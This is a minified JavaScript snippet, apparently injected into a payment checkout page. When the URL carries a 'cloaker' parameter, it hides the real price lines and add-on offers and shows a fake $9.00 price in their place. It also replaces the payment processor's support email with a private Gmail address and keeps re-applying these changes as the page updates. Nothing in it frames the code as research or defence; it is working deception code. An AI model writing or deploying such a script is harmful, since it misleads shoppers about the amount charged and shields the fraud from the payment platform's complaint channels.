(function(){ var CLOAKER_PARAM = 'x1234'; var PRECO_EXIBIDO = '\u00249.00'; var EMAIL_SUPORTE = 'luminousdigitalltda@gmail.com'; if(!window.location.href.includes(CLOAKER_PARAM)){return;} var s=document.createElement('style'); s.innerHTML= '.row.text-success { display: none !important; }' +'.final-order-price:not(.total-to-pay) { display: none !important; }' +'.product-payment-description .text-success.text-end span { visibility: hidden; }' +'.product-payment-description .text-success.text-end { position: relative; }' +'.product-payment-description .text-success.text-end::after {' +'content: "'+PRECO_EXIBIDO+'";' +'color: #28a745;' +'position: absolute;' +'left: 0;}' +'#buy-together { display: none !important; }' +'#orderbump-list { display: none !important; }' +'.tags-container { display: none !important; }' +'.orderbump-payment-description { visibility: hidden !important; height: 0 !important; overflow: hidden !important; margin: 0 !important; padding: 0 !important; }'; document.head.appendChild(s); var atualizarTotal=function(){ var total=document.querySelector('.total-to-pay .text-success.text-end'); if(total&&!total._atualizado){ total._atualizado=1; total.textContent=PRECO_EXIBIDO; } }; var emailTrocado=false; var trocarEmail=function(){ if(emailTrocado)return; var sup=document.querySelector('#support-email span.font-bold'); var rod=document.querySelector('.px-2.px-md-5.text-muted.text-xs small'); if(sup&&sup.textContent.includes('centerpag')){ sup.textContent=' '+EMAIL_SUPORTE+' '; emailTrocado=true; } if(rod&&rod.innerHTML.includes('centerpag')){ rod.innerHTML=rod.innerHTML.replace(/support@centerpag\.com/g,EMAIL_SUPORTE); } }; var inicializar=function(){trocarEmail();atualizarTotal();}; new MutationObserver(inicializar).observe(document.body,{childList:true,subtree:true}); inicializar(); [300,600,1000,2000,3000].forEach(function(t){setTimeout(inicializar,t);}); document.addEventListener('DOMContentLoaded',inicializar); window.addEventListener('load',inicializar); window.addEventListener('pageshow',inicializar); })();